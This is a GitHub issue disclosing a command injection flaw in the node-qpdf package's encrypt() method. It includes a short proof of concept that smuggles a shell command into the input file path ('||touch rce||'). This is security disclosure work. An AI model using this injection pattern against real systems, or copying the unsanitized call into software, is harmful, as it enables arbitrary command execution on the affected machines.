Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Potential command injection vulnerability in node-qpdf #23

Open
xiaofen9 opened this issue Jun 8, 2023 · 0 comments
Open

Potential command injection vulnerability in node-qpdf #23

xiaofen9 opened this issue Jun 8, 2023 · 0 comments

Comments

@xiaofen9
Copy link

xiaofen9 commented Jun 8, 2023

Hi,

We would like to report a potential security vulnerability.
The bug is introduced because the package-exported method encrypt() fails to sanitize its parameter input, which later flows into a sensitive command execution API. As a result, attackers may inject malicious commands once they can specify the input pdf file path.

Here is the proof of concept.

var qpdf = require('node-qpdf');

var options = {
    keyLength: 128,
    password: 'YOUR_PASSWORD_TO_ENCRYPT'
}

qpdf.encrypt('test.pdf ||touch rce||', options); // a file named rce will be created
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant